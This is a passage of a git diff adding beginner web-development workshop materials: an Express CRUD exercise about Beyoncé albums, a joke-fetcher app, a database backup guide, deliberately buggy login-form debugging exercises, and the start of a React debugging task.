"sha512-YZo3K82SD7Riyi0E1EQPojLz7kpepnSQI9IyPbHHg1XXXevb5dJI7tpyN2ADxGcQbHG7vcyRHk0cbwqcQriUtg==" + }, + "node_modules/semver": { + "version": "7.5.4", + "resolved": "https://registry.npmjs.org/semver/-/semver-7.5.4.tgz", + "integrity": "sha512-1bCSESV6Pv+i21Hvpxp3Dx+pSD8lIPt8uVjRrxAUt/nbswYc+tK6Y2btiULjd4+fnq15PX+nqQDC7Oft7WkwcA==", + "dev": true, + "dependencies": { + "lru-cache": "^6.0.0" + }, + "bin": { + "semver": "bin/semver.js" + }, + "engines": { + "node": ">=10" + } + }, + "node_modules/send": { + "version": "0.19.0", + "resolved": "https://registry.npmjs.org/send/-/send-0.19.0.tgz", + "integrity": "sha512-dW41u5VfLXu8SJh5bwRmyYUbAoSB3c9uQh6L8h/KtsFREPWpbX1lrljJo186Jc4nmci/sGUZ9a0a0J2zgfq2hw==", + "dependencies": { + "debug": "2.6.9", + "depd": "2.0.0", + "destroy": "1.2.0", + "encodeurl": "~1.0.2", + "escape-html": "~1.0.3", + "etag": "~1.8.1", + "fresh": "0.5.2", + "http-errors": "2.0.0", + "mime": "1.6.0", + "ms": "2.1.3", + "on-finished": "2.4.1", + "range-parser": "~1.2.1", + "statuses": "2.0.1" + }, + "engines": { + "node": ">= 0.8.0" + } + }, + "node_modules/send/node_modules/encodeurl": { + "version": "1.0.2", + "resolved": "https://registry.npmjs.org/encodeurl/-/encodeurl-1.0.2.tgz", + "integrity": "sha512-TPJXq8JqFaVYm2CWmPvnP2Iyo4ZSM7/QKcSmuMLDObfpH5fi7RUGmd/rTDf+rut/saiDiQEeVTNgAmJEdAOx0w==", + "engines": { + "node": ">= 0.8" + } + }, + "node_modules/send/node_modules/ms": { + "version": "2.1.3", + "resolved": "https://registry.npmjs.org/ms/-/ms-2.1.3.tgz", + "integrity": "sha512-6FlzubTLZG3J2a/NVCAleEhjzq5oxgHyaCU9yYXvcLsvoVaHJq/s5xXI6/XXP6tz7R9xAOtHnSO/tXtF3WRTlA==" + }, + "node_modules/serve-static": { + "version": "1.16.2", + "resolved": "https://registry.npmjs.org/serve-static/-/serve-static-1.16.2.tgz", + "integrity": "sha512-VqpjJZKadQB/PEbEwvFdO43Ax5dFBZ2UECszz8bQ7pi7wt//PWe1P6MN7eCnjsatYtBT6EuiClbjSWP2WrIoTw==", + "dependencies": { + "encodeurl": "~2.0.0", + "escape-html": "~1.0.3", + "parseurl": "~1.3.3", + "send": "0.19.0" + }, + "engines": { + "node": ">= 0.8.0" + } + }, + "node_modules/set-function-length": { + "version": "1.2.2", + "resolved": "https://registry.npmjs.org/set-function-length/-/set-function-length-1.2.2.tgz", + "integrity": "sha512-pgRc4hJ4/sNjWCSS9AmnS40x3bNMDTknHgL5UaMBTMyJnU90EgWh1Rz+MC9eFu4BuN/UwZjKQuY/1v3rM7HMfg==", + "dependencies": { + "define-data-property": "^1.1.4", + "es-errors": "^1.3.0", + "function-bind": "^1.1.2", + "get-intrinsic": "^1.2.4", + "gopd": "^1.0.1", + "has-property-descriptors": "^1.0.2" + }, + "engines": { + "node": ">= 0.4" + } + }, + "node_modules/setprototypeof": { + "version": "1.2.0", + "resolved": "https://registry.npmjs.org/setprototypeof/-/setprototypeof-1.2.0.tgz", + "integrity": "sha512-E5LDX7Wrp85Kil5bhZv46j8jOeboKq5JMmYM3gVGdGH8xFpPWXUMsNrlODCrkoxMEeNi/XZIwuRvY4XNwYMJpw==" + }, + "node_modules/side-channel": { + "version": "1.0.6", + "resolved": "https://registry.npmjs.org/side-channel/-/side-channel-1.0.6.tgz", + "integrity": "sha512-fDW/EZ6Q9RiO8eFG8Hj+7u/oW+XrPTIChwCOM2+th2A6OblDtYYIpve9m+KvI9Z4C9qSEXlaGR6bTEYHReuglA==", + "dependencies": { + "call-bind": "^1.0.7", + "es-errors": "^1.3.0", + "get-intrinsic": "^1.2.4", + "object-inspect": "^1.13.1" + }, + "engines": { + "node": ">= 0.4" + }, + "funding": { + "url": "https://github.com/sponsors/ljharb" + } + }, + "node_modules/simple-update-notifier": { + "version": "2.0.0", + "resolved": "https://registry.npmjs.org/simple-update-notifier/-/simple-update-notifier-2.0.0.tgz", + "integrity": "sha512-a2B9Y0KlNXl9u/vsW6sTIu9vGEpfKu2wRV6l1H3XEas/0gUIzGzBoP/IouTcUQbm9JWZLH3COxyn03TYlFax6w==", + "dev": true, + "dependencies": { + "semver": "^7.5.3" + }, + "engines": { + "node": ">=10" + } + }, + "node_modules/statuses": { + "version": "2.0.1", + "resolved": "https://registry.npmjs.org/statuses/-/statuses-2.0.1.tgz", + "integrity": "sha512-RwNA9Z/7PrK06rYLIzFMlaF+l73iwpzsqRIFgbMLbTcLD6cOao82TaWefPXQvB2fOC4AjuYSEndS7N/mTCbkdQ==", + "engines": { + "node": ">= 0.8" + } + }, + "node_modules/supports-color": { + "version": "5.5.0", + "resolved": "https://registry.npmjs.org/supports-color/-/supports-color-5.5.0.tgz", + "integrity": "sha512-QjVjwdXIt408MIiAqCX4oUKsgU2EqAGzs2Ppkm4aQYbjm+ZEWEcW4SfFNTr4uMNZma0ey4f5lgLrkB0aX0QMow==", + "dev": true, + "dependencies": { + "has-flag": "^3.0.0" + }, + "engines": { + "node": ">=4" + } + }, + "node_modules/to-regex-range": { + "version": "5.0.1", + "resolved": "https://registry.npmjs.org/to-regex-range/-/to-regex-range-5.0.1.tgz", + "integrity": "sha512-65P7iz6X5yEr1cwcgvQxbbIw7Uk3gOy5dIdtZ4rDveLqhrdJP+Li/Hx6tyK0NEb+2GCyneCMJiGqrADCSNk8sQ==", + "dev": true, + "dependencies": { + "is-number": "^7.0.0" + }, + "engines": { + "node": ">=8.0" + } + }, + "node_modules/toidentifier": { + "version": "1.0.1", + "resolved": "https://registry.npmjs.org/toidentifier/-/toidentifier-1.0.1.tgz", + "integrity": "sha512-o5sSPKEkg/DIQNmH43V0/uerLrpzVedkUh8tGNvaeXpfpuwjKenlSox/2O/BTlZUtEe+JG7s5YhEz608PlAHRA==", + "engines": { + "node": ">=0.6" + } + }, + "node_modules/touch": { + "version": "3.1.0", + "resolved": "https://registry.npmjs.org/touch/-/touch-3.1.0.tgz", + "integrity": "sha512-WBx8Uy5TLtOSRtIq+M03/sKDrXCLHxwDcquSP2c43Le03/9serjQBIztjRz6FkJez9D/hleyAXTBGLwwZUw9lA==", + "dev": true, + "dependencies": { + "nopt": "~1.0.10" + }, + "bin": { + "nodetouch": "bin/nodetouch.js" + } + }, + "node_modules/type-is": { + "version": "1.6.18", + "resolved": "https://registry.npmjs.org/type-is/-/type-is-1.6.18.tgz", + "integrity": "sha512-TkRKr9sUTxEH8MdfuCSP7VizJyzRNMjj2J2do2Jr3Kym598JVdEksuzPQCnlFPW4ky9Q+iA+ma9BGm06XQBy8g==", + "dependencies": { + "media-typer": "0.3.0", + "mime-types": "~2.1.24" + }, + "engines": { + "node": ">= 0.6" + } + }, + "node_modules/undefsafe": { + "version": "2.0.5", + "resolved": "https://registry.npmjs.org/undefsafe/-/undefsafe-2.0.5.tgz", + "integrity": "sha512-WxONCrssBM8TSPRqN5EmsjVrsv4A8X12J4ArBiiayv3DyyG3ZlIg6yysuuSYdZsVz3TKcTg2fd//Ujd4CHV1iA==", + "dev": true + }, + "node_modules/unpipe": { + "version": "1.0.0", + "resolved": "https://registry.npmjs.org/unpipe/-/unpipe-1.0.0.tgz", + "integrity": "sha512-pjy2bYhSsufwWlKwPc+l3cN7+wuJlK6uz0YdJEOlQDbl6jo/YlPi4mb8agUkVC8BF7V8NuzeyPNqRksA3hztKQ==", + "engines": { + "node": ">= 0.8" + } + }, + "node_modules/utils-merge": { + "version": "1.0.1", + "resolved": "https://registry.npmjs.org/utils-merge/-/utils-merge-1.0.1.tgz", + "integrity": "sha512-pMZTvIkT1d+TFGvDOqodOclx0QWkkgi6Tdoa8gC8ffGAAqz9pzPTZWAybbsHHoED/ztMtkv/VoYTYyShUn81hA==", + "engines": { + "node": ">= 0.4.0" + } + }, + "node_modules/vary": { + "version": "1.1.2", + "resolved": "https://registry.npmjs.org/vary/-/vary-1.1.2.tgz", + "integrity": "sha512-BNGbWLfd0eUPabhkXUVm0j8uuvREyTh5ovRa/dyow/BqAbZJyC+5fU+IzQOzmAKzYqYRAISoRhdQr3eIZ/PXqg==", + "engines": { + "node": ">= 0.8" + } + }, + "node_modules/yallist": { + "version": "4.0.0", + "resolved": "https://registry.npmjs.org/yallist/-/yallist-4.0.0.tgz", + "integrity": "sha512-3wdGidZyq5PB084XLES5TpOSRA3wjXAlIWMhum2kRcv/41Sn2emQ0dycQW4uZXLejwKvg6EsvbdlVL+FYEct7A==", + "dev": true + } + } +} diff --git a/crud/package.json b/crud/package.json new file mode 100644 index 00000000..6b1b62b0 --- /dev/null +++ b/crud/package.json @@ -0,0 +1,20 @@ +{ + "name": "crud", + "version": "1.0.0", + "description": "Our Beyonce Album CRUD App", + "main": "server.js", + "scripts": { + "start": "node server.js", + "dev": "nodemon server.js", + "test": "echo \"Error: no test specified\" && exit 1" + }, + "keywords": [], + "author": "CodeYourFuture", + "license": "ISC", + "dependencies": { + "express": "^4.21.0" + }, + "devDependencies": { + "nodemon": "^3.0.2" + } +} diff --git a/crud/readme.md b/crud/readme.md new file mode 100644 index 00000000..dd58f612 --- /dev/null +++ b/crud/readme.md @@ -0,0 +1,154 @@ +# CRUD 101 + +## Learning Objectives + +```objectives +- [ ] Define the acronym CRUD +- [ ] Process a GET request using Express and Node to retrieve data from memory +- [ ] Process a POST request using Express and Node and store data in memory +- [ ] Process a DELETE request using Express and Node to remove data from memory +``` + +## Requirements + +Today we will build a CRUD API. CRUD stands for *C*reate, *R*etrieve,* U*pdate, *D*elete. If you think about it, this is what most applications do: + +*C*reate some "resources" +*R*etrieve them (GET them) +*U*pdate them +*D*elete them + +### 🎯 Workshop Objective + +Our API will manage Beyoncé albums. It will: + +*C*reate a new album, +*R*etrieve a list of albums or a single album, +*U*pdate an existing album's information +*D*elete an album + +We will build these endpoints: + +1. `GET /albums should return all the albums` +1. `GET /albums/:albumId should return a single album (that matches the passed albumId)` +1. `POST /albums should save a new album` +1. `DELETE /albums/:albumId should delete the album (that matches the passed albumId)` + +### 1. `GET /albums should return all the albums` + +In `server.js`, create a `GET /albums` endpoint that returns all the albums. Some albums have been provided for you in `albums.json`. + +```js +app.get("/albums", (req, res) => { + res.send(albumsData); +}); +``` + +#### 🧪 Run and test + +1. `npm run dev` +1. Open Postman +1. Make a GET request to `http://localhost:3000/albums` + +### 2. `GET /albums/:albumId should return a single album (that matches the passed albumId)` + +Sometimes, we do not want to list all the information in one request, maybe we only want to get the information related to a single album. Imagine if we have a page to display the details of one album. We could call the server and get all albums then filter the one we need client-side. It would be more effective to tell the server to just return the one album we are interested in. + +We will now add a new endpoint to return only a single album GET /albums/:albumId. In this case, albumId will tell us what album we can return. The call will be `GET /albums/10` and that will return the album with that has `albumId: "10"`. + +This endpoint has something different. The endpoint `/albums/:albumId` has a dynamic part. The `albumId` will vary depending on what the client sends. + +In `server.js`, create a `GET /albums/:albumId` endpoint that returns a single album. The albumId will be passed as a parameter in the URL. + +```js +app.get("/albums/:albumId", (req, res) => { + const albumId = req.params.albumId; + // now find the given album from the `albumsData` using the `albumId` + // finally send the album you found back to the client +}); +``` + +#### 🧪 Run and test + +1. Save your changes +1. Make a GET request to `http://localhost:3000/albums/10` +1. Try changing the id in the URL and calling the endpoint again. What do you see? + +### 3. `POST /albums should save a new album` + +In order for our server-side to receive and use the data sent by the client, we will need to install and use a middleware. + +The JSON middleware makes it easy for our route handlers to read JSON data from the request. If the Content-Type request header indicates that the request body contains JSON data then the middleware calls JSON.parse to convert the request body into a JavaScript data structure. + +To register the JSON middleware, add the following to the server code: + +```js +app.use(express.json()); // before our routes definition +``` + +In `server.js`, create a `POST /albums` endpoint that saves a new album. The album will be passed as a JSON object in the request body. + +
                      + Step by step if you get stuck + +1. Add the following code to `server.js`: + +```js +app.post("/albums", function (req, res) { + const newAlbum = req.body; + albumsData.push(newAlbum); + res.send("Album added successfully!"); +}); +``` + +1. Open Postman and create a new request. +1. Set the Request Type to POST. +1. Enter the URL for your endpoint, which should be http://localhost:3000/albums. +1. Set the Body Type to raw and format to JSON (application/json). +1. Enter the Album Data in the body of the request as JSON: + +``` +{ + "albumId": "13", + "artistName": "Beyoncé", + "collectionName": "B'Day (Deluxe Edition)", + "artworkUrl100": "http://is5.mzstatic.com/image/thumb/Music/v4/6c/fc/6a/6cfc6a13-0633-f96b-9d72-cf56774beb4b/source/100x100bb.jpg", + "releaseDate": "2007-05-29T07:00:00Z", + "primaryGenreName": "Pop", + "url": "https://www.youtube.com/embed/RQ9BWndKEgs?rel=0&controls=0&showinfo=0" +} +``` + +1. Click Send. +1. You should see the album you just created in the response. + +
                      + +### 4. `DELETE /albums/:albumId should delete the album (that matches the passed albumId)` + +This means that `DELETE /albums/2` should delete an album with the id 2 and return `200` with `JSON { success: true }` to the user. + +The code will look like this + +```js +// notice .delete +app.delete("/albums/:albumID", function (req, res) { + console.log("DELETE /albums route"); +}); +``` + +Can you work out how to remove an album using this code? + +## Acceptance Criteria + +- I have written a server that can handle the following requests: + - GET /albums + - GET /albums/:albumId + - POST /albums + - DELETE /albums/:albumId +- I have used Postman to test my server + +## Resources + +- [Express](https://expressjs.com/) +- [Express Cheatsheet](https://github.com/nbogie/express-notes/blob/master/express-cheatsheet.md) diff --git a/crud/server.js b/crud/server.js new file mode 100644 index 00000000..36728961 --- /dev/null +++ b/crud/server.js @@ -0,0 +1,7 @@ +const express = require("express"); +const albumsData = require("./albums.json"); +const app = express(); + +app.listen(3000, () => { + console.log("Server is listening on port 3000. Ready to accept requests!"); +}); diff --git a/dad-joke/index.html b/dad-joke/index.html new file mode 100644 index 00000000..cd0dfb8b --- /dev/null +++ b/dad-joke/index.html @@ -0,0 +1,31 @@ + + + + Joke Generator + + +

                      Get a Random Joke

                      +

                      Loading...

                      + + + + + + diff --git a/dad-joke/readme.md b/dad-joke/readme.md new file mode 100644 index 00000000..875832d7 --- /dev/null +++ b/dad-joke/readme.md @@ -0,0 +1,48 @@ +# Joke Fetcher App + +This simple app fetches jokes from an API and displays them. Here are some ways we could improve it: + +## Acceptance criteria + +> 1. Given a Joke API +> When the page first loads +> Then a random joke will be displayed on the page + +> 2. Given a joke has already been fetched and displayed +> When the user clicks the "Get New Joke" button +> Then a new random joke will be fetched and replace the existing one + +> 3. Given there is a slow network +> When the page first loads +> Then a loading message will be displayed... + +## 🐛 Debug + +❗ Commit after completing each task ❗ + +1. Separate code into separate files - HTML, JS, CSS +2. Fix functionality for acceptance criterion 1 only + +Navigator: + +- Describe out loud the current behaviour in the user interface +- Describe what you should expect to see given the acceptance criterion +- Step through the code to make sense of where the bug is coming from + +3. Fix functionality for acceptance criterion 2 only + +Navigator: + +- Describe out loud the current behaviour in the user interface +- Describe what you should expect to see given the acceptance criterion +- Step through the code to make sense of where the bug is coming from + +4. Check all acceptance criteria are working ( including 3 ) + +## Refactor 🧹 + +1. Refactor `getJokes` to use async/await + +## Challenge 💪 + +1. Try implementing a loading spinner using CSS diff --git a/db-backup/readme.md b/db-backup/readme.md new file mode 100644 index 00000000..2a76c869 --- /dev/null +++ b/db-backup/readme.md @@ -0,0 +1,67 @@ +## Development environment and database Workshop ⚙️ + + +This workshop will guide you through the following: + +- setting up your development environment +- initialising a local database +- removing, re-initializing, and most importantly, backing up your database for the Full Stack Product. + + +### Learning Objectives + +```objectives +- [ ] Set up your local development environment +- [ ] Initialize a new database. +- [ ] Remove a database. +- [ ] Re-initialize a database. +- [ ] Create a backup of your database. +``` + +### Requirements + +- Check you've [split into a team for the Full Stack Project](https://curriculum.codeyourfuture.io/databases/product/prep/#setup-project-teams) +- Clone your team's fork of the Full Stack Project Assessment repository to your local machine. +- Locate the **User story: Video recommendation listing** issue on the [Project Kanban board](https://github.com/orgs/CodeYourFuture/projects/169/views/2) +- From the **User story: Video recommendation listing** issue, locate the **Setup your local development environment** and **Setup your local database** issues +- Have a code editor or terminal ready. + +### Part 1 - Set up your local development environment + +- Set a whole class timer for 10 mins ⏱️ +- Follow the instructions in the [setup guide](https://github.com/CodeYourFuture/Full-Stack-Project-Assessment/tree/main/guides/setup) to set up your local development environment +- Check the acceptance criteria on the **Setup your local development environment** issue. Has everyone in your team met the acceptance criteria for this issue? + + +### Part 2 - Set up your local database + +- Set a whole class timer for 15 mins ⏱️ +- Use the instructions for the [db setup guide](https://github.com/CodeYourFuture/Full-Stack-Project-Assessment/tree/main/guides/db-setup) to set up a local database with one table and some data. Use the first section in the instructions to complete this task. +- Check the acceptance criteria on the **Setup your local database** issue. Which criteria have you met? + + +### Part 3 - Backup your local database + +- Set a whole class timer for 15 mins ⏱️ +- Use the instructions for the [db setup guide](https://github.com/CodeYourFuture/Full-Stack-Project-Assessment/tree/main/guides/db-setup) to backup your local database +- Check the acceptance criteria on the **Setup your local database** issue. Which criteria have you met? + + +### Part 4 - Remove, Re-store, and Restoring + +- Set a whole class timer for 15 mins ⏱️ +- Use the instructions for the [db setup guide](https://github.com/CodeYourFuture/Full-Stack-Project-Assessment/tree/main/guides/db-setup) to backup your local database +- Check the acceptance criteria on the **Setup your local database** issue. Which criteria have you met? + + +### Practice Makes Perfect + +Set another timer and repeat the dropping, re-initializing, and restoring process a few more times to solidify your understanding. Experiment with different backup file locations if you'd like. + +By the end of this workshop, you should feel confident in creating, removing, re-initializing, and backing up your database so you don't need to worry about losing your data. + +### Acceptance Criteria + +Double-check the acceptance criteria on the issues: **Setup your local development environment** and **Setup your local database** + +By completing these steps, you've mastered the fundamentals of database setup for the Full Stack Assessment, and you're ready to tackle the next challenge! diff --git a/debugging-2/100/app.js b/debugging-2/100/app.js new file mode 100644 index 00000000..adb086f5 --- /dev/null +++ b/debugging-2/100/app.js @@ -0,0 +1,20 @@ +const form = document.getElementById("form"); +const usernameElement = document.getElementById("username"); +const passwordElement = document.getElementById("password"); + +form.addEventListener("submit", (event) => { + event.preventDefault(); + const username = usernameElement.val; + const password = passwordElement.val; + let usernameLength = username.length(); + let passwordLength = password.length(); + + if (usernameLength > 4 && passwordLength > 4) { + console.log("-------------------------"); + console.log("Success you have finished"); + console.log("-------------------------"); + } else { + alert("Username must be at least 4 characters"); + alert("password must be at least 4 characters"); + } +}); diff --git a/debugging-2/100/index.html b/debugging-2/100/index.html new file mode 100644 index 00000000..1d6cad16 --- /dev/null +++ b/debugging-2/100/index.html @@ -0,0 +1,27 @@ + + + + Debugging in JavaScript 100 + + + + +
                      +
                      +
                      +

                      Login (100)

                      +
                      + + +
                      +
                      + + +
                      + +
                      +
                      +
                      + + + \ No newline at end of file diff --git a/debugging-2/100/readme.md b/debugging-2/100/readme.md new file mode 100644 index 00000000..8373e6ef --- /dev/null +++ b/debugging-2/100/readme.md @@ -0,0 +1,7 @@ +# About + +This is a simple form built with vanilla JavaScript. To run the project, simply open the `index.html` file in your web browser. + +# Success Criteria + +When you fill out the form and click the submit button, the debugger console will log 'Success you have finished' diff --git a/debugging-2/100/style.css b/debugging-2/100/style.css new file mode 100644 index 00000000..dcca15de --- /dev/null +++ b/debugging-2/100/style.css @@ -0,0 +1,81 @@ +* { + box-sizing: border-box; + } + body { + background-color: #F9FAFB; + font-family: "Open Sans", sans-serif; + display: flex; + align-items: center; + justify-content: center; + min-height: 100vh; + margin: 0; + } + .container { + background-color: #fff; + border-radius: 5px; + box-shadow: 0 2px 10px rgba(0, 0, 0, 0.3); + width: 400px; + } + h2 { + text-align: center; + margin: 0 0 20px; + } + .form { + padding: 30px 40px; + } + .form-control { + margin-bottom: 10px; + padding-bottom: 20px; + position: relative; + } + .form-control label { + color: #777; + display: block; + margin-bottom: 5px; + } + .form-control input { + border: 2px solid #F0F0F0; + border-radius: 4px; + display: block; + width: 100%; + padding: 10px; + font-size: 14px; + } + .form-control.success input { + border-color: #2ECC71; + } + .form-control.error input { + border-color: #E74C3C; + } + .form-control span { + color: #E74C3C; + position: absolute; + bottom: 0; + left: 0; + visibility: hidden; + } + .form-control.error span { + visibility: visible; + } + .form button { + cursor: pointer; + background-color: #3498DB; + border: 2px solid #3498DB; + border-radius: 4px; + color: #fff; + display: block; + font-size: 16px; + padding: 10px; + margin-top: 20px; + width: 100%; + } + + + + + + + + + + \ No newline at end of file diff --git a/debugging-2/200/app.js b/debugging-2/200/app.js new file mode 100644 index 00000000..6ef2af01 --- /dev/null +++ b/debugging-2/200/app.js @@ -0,0 +1,46 @@ +const form = document.getElementById("form"); +const usernameElement = document.getElementById("username"); +const passwordElement = document.getElementById("password"); + +function helpMe(field, element) { + console.log(field, element); + console.log(typeof element); +} + +form.addEventListener("submit", (event) => { + try { + // If this doesn't appear in the console logs then it has never been called + event.preventDefault(); + helpMe("form", form); + helpMe("usernameElement", usernameElement); + helpMe("passwordElement", passwordElement); + + const username = usernameElement.value; + helpMe("username", username); + + const password = passwordElement.value; + helpMe("password", password); + + let usernameLength = username.length; + helpMe("usernameLength", usernameLength); + + let passwordLength = password.length; + helpMe("passwordLength", passwordLength); + + if (usernameLength >= 4 && passwordLength >= 4) { + console.log("-------------------------"); + console.log("Success you have finished"); + console.log("-------------------------"); + } else { + if (usernameLength < 4) { + alert("Username must be at least 4 characters"); + } + if (passwordLength < 4) { + alert("password must be at least 4 characters"); + } + } + } catch (e) { + console.log("Exception was raised"); + console.log(e); + } +}); diff --git a/debugging-2/200/index.html b/debugging-2/200/index.html new file mode 100644 index 00000000..02b748a3 --- /dev/null +++ b/debugging-2/200/index.html @@ -0,0 +1,31 @@ + + + + Debugging in JavaScript 200 + + + + +
                      +
                      +
                      +

                      Login (200)

                      +
                      + + +
                      +
                      + + +
                      + +
                      +
                      +
                      + + + + + + + diff --git a/debugging-2/200/readme.md b/debugging-2/200/readme.md new file mode 100644 index 00000000..8373e6ef --- /dev/null +++ b/debugging-2/200/readme.md @@ -0,0 +1,7 @@ +# About + +This is a simple form built with vanilla JavaScript. To run the project, simply open the `index.html` file in your web browser. + +# Success Criteria + +When you fill out the form and click the submit button, the debugger console will log 'Success you have finished' diff --git a/debugging-2/200/style.css b/debugging-2/200/style.css new file mode 100644 index 00000000..dcca15de --- /dev/null +++ b/debugging-2/200/style.css @@ -0,0 +1,81 @@ +* { + box-sizing: border-box; + } + body { + background-color: #F9FAFB; + font-family: "Open Sans", sans-serif; + display: flex; + align-items: center; + justify-content: center; + min-height: 100vh; + margin: 0; + } + .container { + background-color: #fff; + border-radius: 5px; + box-shadow: 0 2px 10px rgba(0, 0, 0, 0.3); + width: 400px; + } + h2 { + text-align: center; + margin: 0 0 20px; + } + .form { + padding: 30px 40px; + } + .form-control { + margin-bottom: 10px; + padding-bottom: 20px; + position: relative; + } + .form-control label { + color: #777; + display: block; + margin-bottom: 5px; + } + .form-control input { + border: 2px solid #F0F0F0; + border-radius: 4px; + display: block; + width: 100%; + padding: 10px; + font-size: 14px; + } + .form-control.success input { + border-color: #2ECC71; + } + .form-control.error input { + border-color: #E74C3C; + } + .form-control span { + color: #E74C3C; + position: absolute; + bottom: 0; + left: 0; + visibility: hidden; + } + .form-control.error span { + visibility: visible; + } + .form button { + cursor: pointer; + background-color: #3498DB; + border: 2px solid #3498DB; + border-radius: 4px; + color: #fff; + display: block; + font-size: 16px; + padding: 10px; + margin-top: 20px; + width: 100%; + } + + + + + + + + + + \ No newline at end of file diff --git a/debugging-2/300/app.js b/debugging-2/300/app.js new file mode 100644 index 00000000..9ba53614 --- /dev/null +++ b/debugging-2/300/app.js @@ -0,0 +1,61 @@ +//first we need to select these elements to do something with them in the form +const form = document.getElementById("form"); +const username = document.getElementById("username"); +const email = document.getElementById("email"); +const password = document.getElementById("password"); +const passwordConfirmation = document.getElementById("passwordConfirmation"); +//we will be checking the validations for each of the element, when hit submit button +form.addEventListener("submit", (event) => { + event.preventDefault(); //is calling one event, and stopping the default behaviour of submit event to happen, i.e. loading of page + validateForm([username, email, password, passwordConfirmation]); + checkPasswordLength(password, 6, 25); + checkPassword(password, passwordConfirmation); + checkEmail(email); +}); +//4 functions to check validations: +const validateForm = (inputArr) => { + inputArr.forEach((input) => { + if (input.value === "") { + showError(input, `This field is required`); + } else { + showSuccess(inputArr); + } + }); +}; +const checkPasswordLength = (password, min, max) => { + if (password.length < min || password.length > max) { + showError(password, `Between ${min} to ${max} characters`); + } +}; +const checkPassword = (password, passwordConfirmation) => { + if (password.value !== passwordConfirmation.value) { + showError(passwordConfirmation, `Password must be same`); + } +}; +const checkEmail = (email) => { + if (!isValidEmail(email)) { + showError(email, `It is not a right Email`); + } +}; +//3 helper functions: +const showError = (input, message) => { + const formControl = input.parentElement; + formControl.className = "form-control error"; + // check if error message span already exists + let spanText = formControl.querySelector("span.error-text"); + if (!spanText) { + // create new span element for error message + spanText = document.createElement("span"); + spanText.className = "error-text"; + formControl.appendChild(spanText); + } + spanText.innerText = message; +}; +const showSuccess = (input) => { + const formControl = input.parentElement; + formControl.className = "form-control success"; +}; +const isValidEmail = (email) => { + var regex = /^\w+([\.-]?\w+)*@\w+([\.-]?\w+)*(\.\w{2,3})+$/; //this checks the format of the email address string to ensure that it matches the pattern of a valid email address + return regex.test(String(email.value).toLowerCase()); +}; \ No newline at end of file diff --git a/debugging-2/300/index.html b/debugging-2/300/index.html new file mode 100644 index 00000000..58d8ffbb --- /dev/null +++ b/debugging-2/300/index.html @@ -0,0 +1,39 @@ + + + + Debugging in JavaScript 300 + + + + +
                      +
                      +
                      +

                      Register with Us

                      +
                      + + +
                      +
                      + + +
                      +
                      + + +
                      +
                      + + +
                      + +
                      +
                      +
                      + + + \ No newline at end of file diff --git a/debugging-2/300/readme.md b/debugging-2/300/readme.md new file mode 100644 index 00000000..0528d5e4 --- /dev/null +++ b/debugging-2/300/readme.md @@ -0,0 +1,7 @@ +# About + +This is a simple form built with vanilla JavaScript. To run the project, simply open the `index.html` file in your web browser. + +# Success Criteria + +When you fill out the form and click the submit button, the input boxes will turn green to indicate that the data was successfully submitted. diff --git a/debugging-2/300/style.css b/debugging-2/300/style.css new file mode 100644 index 00000000..dcca15de --- /dev/null +++ b/debugging-2/300/style.css @@ -0,0 +1,81 @@ +* { + box-sizing: border-box; + } + body { + background-color: #F9FAFB; + font-family: "Open Sans", sans-serif; + display: flex; + align-items: center; + justify-content: center; + min-height: 100vh; + margin: 0; + } + .container { + background-color: #fff; + border-radius: 5px; + box-shadow: 0 2px 10px rgba(0, 0, 0, 0.3); + width: 400px; + } + h2 { + text-align: center; + margin: 0 0 20px; + } + .form { + padding: 30px 40px; + } + .form-control { + margin-bottom: 10px; + padding-bottom: 20px; + position: relative; + } + .form-control label { + color: #777; + display: block; + margin-bottom: 5px; + } + .form-control input { + border: 2px solid #F0F0F0; + border-radius: 4px; + display: block; + width: 100%; + padding: 10px; + font-size: 14px; + } + .form-control.success input { + border-color: #2ECC71; + } + .form-control.error input { + border-color: #E74C3C; + } + .form-control span { + color: #E74C3C; + position: absolute; + bottom: 0; + left: 0; + visibility: hidden; + } + .form-control.error span { + visibility: visible; + } + .form button { + cursor: pointer; + background-color: #3498DB; + border: 2px solid #3498DB; + border-radius: 4px; + color: #fff; + display: block; + font-size: 16px; + padding: 10px; + margin-top: 20px; + width: 100%; + } + + + + + + + + + + \ No newline at end of file diff --git a/debugging-2/debug_checklist.md b/debugging-2/debug_checklist.md new file mode 100644 index 00000000..d452896d --- /dev/null +++ b/debugging-2/debug_checklist.md @@ -0,0 +1,13 @@ +* HTML + * Are the tags correct? + * Are the JS files and CSS files referenced correctly +* Javascript + * Do we see any errors in the console? + * What is the error + * Can we find documentation on the JS function/object at https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference for the builtin objects + * are we using the built in code correctly + * Are the elements being found + * document.getElementById are the IDs seen in the JS found in the HTML + * Have we added console.log for the lines we are trying to debug? + + diff --git a/debugging-2/readme.md b/debugging-2/readme.md new file mode 100644 index 00000000..3d483b23 --- /dev/null +++ b/debugging-2/readme.md @@ -0,0 +1,8 @@ +# Debugging workshop - 2 + +## Please follow the steps below: + +1. The class should split up into seperate groups / breakout rooms. +2. Each team should check debug_checklist.md file first and discuss which other strategies they would consider for debugging codes. +3. Instructors will pick up one of the team's checklist and do a demo for levels 100 and 200 in front of the whole group. +4. Trainees go back to their breakout rooms and debug level 300 in their teams. diff --git a/debugging-3/README.md b/debugging-3/README.md new file mode 100644 index 00000000..bd2c6361 --- /dev/null +++ b/debugging-3/README.md @@ -0,0 +1,25 @@ +# Debugging Part 3: React Components + +## Install + +In the project directory, you can run: + +### `npm install` + +## Start + +In the project directory, you can run: + +### `npm start` + +# Tasks + +In the folder `features` you will find a bunch of files that relate to the functionality of the different components. For each of the features you +must read the scenario and fix/implement the required behavior + +## Goal + +The goal here is to focus on fixing one small part functionality at a time. Trainees should: +* fix one scenario +* test it works +* commit the changes \ No newline at end of file diff --git a/debugging-3/features/email.feature b/debugging-3/features/email.feature new file mode 100644 index 00000000..e7b5f35d --- /dev/null +++ b/debugging-3/features/email.feature @@ -0,0 +1,19 @@ +Feature: Email + + @100 + Scenario: Error message displayed when invalid email entered + Given I am an end user + When I enter "bob" as an email + Then I see an error message + + @200 + Scenario: Error message displayed when invalid email entered (200) + Given I am an end user + When I enter "bob@gmail" as an email + Then I see an error message + + @300 + Scenario: Error message displayed when invalid email entered (200) + Given I am an end user + When I enter "bob@gmail.com " as an email + Then I see an error message \ No newline at end of file diff --git a/debugging-3/features/episodes.feature b/debugging-3/features/episodes.feature new file mode 100644 index 00000000..e8f00b44 --- /dev/null +++ b/debugging-3/features/episodes.feature @@ -0,0 +1,13 @@ +Feature: Episodes + + @100 + Scenario: TV Shows are displayed + Given I 